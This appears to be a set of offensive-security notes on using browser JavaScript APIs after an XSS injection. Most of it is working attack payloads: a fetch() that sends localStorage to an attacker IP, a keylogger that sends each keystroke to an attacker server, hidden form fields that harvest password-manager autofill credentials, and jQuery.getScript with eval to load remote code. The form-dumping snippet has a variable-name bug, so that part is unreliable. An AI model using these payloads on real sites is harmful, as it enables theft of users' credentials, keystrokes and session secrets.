Useful JavaScript APIs
Notes on some useful JavaScript APIs to interact with the browser maliciously.
Window
Represents the window the entire document (the HTML response from the server) lives. This gives us access to the URL via the location property and localStorage which may contain secrets.
Treat Window as global, any properties set here or any methods we have access
can be used in the global context, like alert()
. alert()
is one of the
primary methods we can use to prove that a
XSS vulnerability exists in an application.
Exposing storage
Browsers cache important secrets in the Window
namespace of a user’s browsing
session. With XSS, we can exfiltrate this data by targeting the
localStorage
and
sessionStorage
objects in the Window
namespace:
fetch(
"http://ATTACKER_IP_ADDRESS/exfil?data=" +
encodeURIComponent(JSON.stringify(localStorage)),
)
Document
A powerful API that allows us to interact with the document object model (DOM) of the web page we’re attacking. The DOM provides us with access to all text inputs, usernames, passwords, cookies, etc. as well as all keypress events.
Dumping all input forms
A useful method in the Document
namespace is
getElementsByTagName()
.
For example, let’s dump the contents of all forms in the document that are
tagged as input
:
let inputForms = document.getElementsByTagName("input")
for (let inputForm of inputForms) {
console.log(input.value)
}
How do we know what DOM HTML tags are interesting? The entire HTML DOM spec is actually provided here.
Logging all keystrokes
Another fun technique to disclose information from a victim using the Document
namespace is key logging. Whenever a
keydown
event occurs, we can execute some JavaScript to retrieve the keys pressed by the
victim:
function keyLog(event) {
console.log(event.key)
}
document.addEventListener("keydown", keyLog)
More information about the addEventListener()
API can be found
here.
Let’s notice something about the above code - it only logs the key presses to the console, not super useful for an attacker unless I can somehow view the victim’s console! Instead, we need to exfiltrate this data.
Using the
Fetch
API, we can coerce the victim into making a web request to a server we own. The
result of the fetch
action doesn’t matter either because fetch
just returns
a
Promise
.
This means we can avoid crashing our script when the fetch
action fails. Now,
when we log a keystroke from the user, we can append the keystroke to a web
request targeted at a server we host, allowing us to see the victim’s
keystrokes:
function keyLog(event) {
fetch("http://<WEB_SERVER_IP_ADDRESS>/k?key=" + event.key)
}
document.addEventListener("keydown", keyLog)
Dumping credentials from password managers
Password managers are great; you should definitely be using one! But this
particular script attacks password managers into autofilling HTML DOM input
objects that look like username and password prompts.
Using this XSS payload, we modify the document, adding input forms for a username and a password, hide them with an opacity of 0, and exfiltrate the username and password values after waiting 5 seconds for the password manager to input data into the new forms:
let body = document.getElementsByTagName("body")[0]
var u = document.createElement("input")
u.type = "text"
u.style.position = "fixed"
u.style.opacity = "0"
var p = document.createElement("input")
p.type = "password"
p.style.position = "fixed"
p.style.opacity = "0"
body.append(u)
body.append(p)
setTimeout(function () {
fetch("http://ATTACKER_IP_ADDRESS/k?u=" + u.value + "&p=" + p.value)
}, 5000)
jQuery
Using jQuery to load remote scripts
Probably not super useful is Cross-Origin protections are an issue, however, if
a server provides clients (browsers) with jQuery as a resource, we can use the
getScript()
method to load a
script from an arbitrary location, either locally or with a remote URI, and
execute a callback function when the script is loaded successfully. Here’s an
example:
jQuery.getScript(
"http://ATTACKER_IP_ADDRESS/dump-password.js",
function (script, textStatus, jqXHR) {
eval(script)
},
)
We can use great functions like
atob()
,
btoa()
, and
eval()
to bypass any encoding issues upon delivery. It’s likely you’ll need to convert
the result of the getScript()
operation to ASCII using btoa()
to avoid
runtime exceptions. The code you’re injecting into probably won’t handle the
return value of getScript()
well - it returns a callback object.